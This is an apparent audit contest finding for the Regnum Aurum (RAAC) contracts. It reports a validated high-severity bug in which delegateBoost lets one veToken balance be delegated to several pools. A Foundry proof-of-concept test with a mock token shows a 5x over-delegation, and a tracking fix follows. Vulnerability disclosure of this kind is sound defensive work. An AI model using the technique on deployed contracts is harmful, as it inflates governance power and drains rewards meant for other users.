Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Attacker can exploit pool rewards via delegation double-spending

Vulnerability Details

The delegateBoost function in BoostController only checks the user's balance against the current delegation amount, without tracking total delegations across pools:

function delegateBoost(
address to,
uint256 amount,
uint256 duration
) external override nonReentrant {
...
@> uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
@> if (userBalance < amount) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
// @audit-issue double-spending as there is no track of previous delegated tokens
delegation.amount = amount;
...
}

As there is no tracking of the amount user already delegated from his current balance, this allows the user to abuse the system by delegating these same tokens to as many pools as he wants.

Example:

A user with 100 tokens can currently delegate those same tokens to multiple pools simultaneously.

For example, delegating 100 tokens to each of 5 pools results in a total delegation of 500 tokens, exceeding the user's actual token balance of 100.

PoC

  1. Install foundry through:

    • npm i --save-dev @nomicfoundation/hardhat-foundry

    • Add require("@nomicfoundation/hardhat-foundry");on hardhat config file

    • Run npx hardhat init-foundry and forge install foundry-rs/forge-std --no-commit

  2. Create a fille called BoostController.t.solin the test folder

  3. Paste the code below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../contracts/core/governance/boost/BoostController.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../contracts/interfaces/core/tokens/IveRAACToken.sol";
contract MockVeToken is IERC20 {
string public name = "DummyVeToken";
string public symbol = "DUMMY";
uint8 public decimals = 18;
uint256 public override totalSupply;
mapping(address => uint256) public balances;
LockPosition lockPosition;
// IERC20 functions
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address, uint256) public pure override returns (bool) { return true; }
function allowance(address, address) public pure override returns (uint256) { return 0; }
function approve(address, uint256) public pure override returns (bool) { return true; }
function transferFrom(address, address, uint256) public pure override returns (bool) { return true; }
// Dummy functions to satisfy the veToken interface expected by BoostController.
function getVotingPower(address, uint256) external pure returns (uint256) { return 1000; }
function getTotalVotingPower() external pure returns (uint256) { return 10000; }
struct LockPosition {
uint256 amount;
uint256 end;
uint256 power;
}
function getLockPosition(address) external view returns (LockPosition memory) {
return lockPosition;
}
function setLockPosition(uint256 amount) public {
lockPosition.amount = amount;
lockPosition.end = block.timestamp + 7 days;
lockPosition.power = 500;
}
/// @notice Helper to set a balance for testing.
function setBalance(address account, uint256 amount) external {
balances[account] = amount;
totalSupply += amount;
}
}
contract BoostControllerTest is Test {
BoostController public boostController;
address public constant POOL = address(0x1);
address public constant USER = address(0x2);
MockVeToken veToken;
function setUp() public {
// Deploy mock veToken
veToken = new MockVeToken();
veToken.setLockPosition(5000);
// Deploy BoostController
boostController = new BoostController(address(veToken));
// Setup roles and pool
boostController.grantRole(boostController.MANAGER_ROLE(), address(this));
}
function test_delegatingBoost_allowsDoubleSpending() public {
// 1. Setup 5 multiple pools
address[] memory pools = new address[](5);
for(uint i = 0; i < 5; i++) {
pools[i] = address(uint160(i + 1));
boostController.modifySupportedPool(pools[i], true);
}
// 2. Setup user with 1000 veTokens
address user = address(0x999);
veToken.setBalance(user, 1000);
veToken.setLockPosition(1000);
vm.startPrank(user);
// 3. Delegate the same 1000 veTokens to all 5 pools
for(uint i = 0; i < 5; i++) {
boostController.delegateBoost(pools[i], 1000, 7 days);
// Verify delegation was successful
(uint256 amount,,,) = boostController.getUserBoost(user, pools[i]);
assertEq(amount, 1000, string.concat("Pool ", vm.toString(i), " should have 1000 delegated tokens"));
}
vm.stopPrank();
// 4. Calculate total delegated amount
uint256 totalDelegated = 0;
for(uint i = 0; i < 5; i++) {
(uint256 amount,,,) = boostController.getUserBoost(user, pools[i]);
totalDelegated += amount;
}
// 5. Verify double-spending occurred:
// - User only has 1000 tokens
// - But managed to delegate 5000 tokens total
assertEq(veToken.balanceOf(user), 1000, "User should have only 1000 tokens");
assertEq(totalDelegated, 5000, "Total delegated amount should be 5000");
console.log("User veToken balance:", veToken.balanceOf(user));
console.log("Total delegated amount:", totalDelegated);
console.log("Proof of double-spending: User delegated 5x their actual balance!");
}
}

Run: forge test --match-test test_delegatingBoost_allowsDoubleSpending -vv

Result:

Ran 1 test for test/BoostController.t.sol:BoostControllerTest
[PASS] test_delegatingBoost_allowsDoubleSpending() (gas: 705343)
Logs:
User veToken balance: 1000
Total delegated amount: 5000
Proof of double-spending: User delegated 5x their actual balance!
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.36ms (2.71ms CPU time)

Impact

  • Users can multiply their voting power by delegating the same veTokens multiple times to different pools.

  • This affects the vote() function in GaugeController where users can influence gauge weights disproportionately.

  • Users can extract more rewards than intended from multiple pools simultaneously.

  • This creates an unfair advantage in both governance and reward distribution.

Tools Used

Manual Review & Foundry

Recommendations

1 - Add total delegation tracking per user.

// BoostController
+ // Track total delegated amount per user
+ mapping(address => uint256) public userTotalDelegated;

2 - When user calls delegateBoost check whether user can delegate the amount of tokens and increment the userTotalDelegatedadding the new amount.

function delegateBoost(
address to,
uint256 amount,
uint256 duration
) external override nonReentrant {
...
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
+ // Check against total delegated amount
+ if (userBalance < amount + userTotalDelegated[msg.sender]) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
delegation.amount = amount;
delegation.expiry = block.timestamp + duration;
delegation.delegatedTo = to;
delegation.lastUpdateTime = block.timestamp;
+ // Update total delegated amount
+ userTotalDelegated[msg.sender] += amount;
}

3 - Decrement the userTotalDelegated when calling removeBoostDelegation:

function removeBoostDelegation(address from) external override nonReentrant {
...
UserBoost storage delegation = userBoosts[from][msg.sender];
if (delegation.delegatedTo != msg.sender) revert DelegationNotFound();
if (delegation.expiry > block.timestamp) revert InvalidDelegationDuration();
...
+ userTotalDelegated[msg.sender] -= delegation.amount;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::delegateBoost lacks total delegation tracking, allowing users to delegate the same veTokens multiple times to different pools for amplified influence and rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.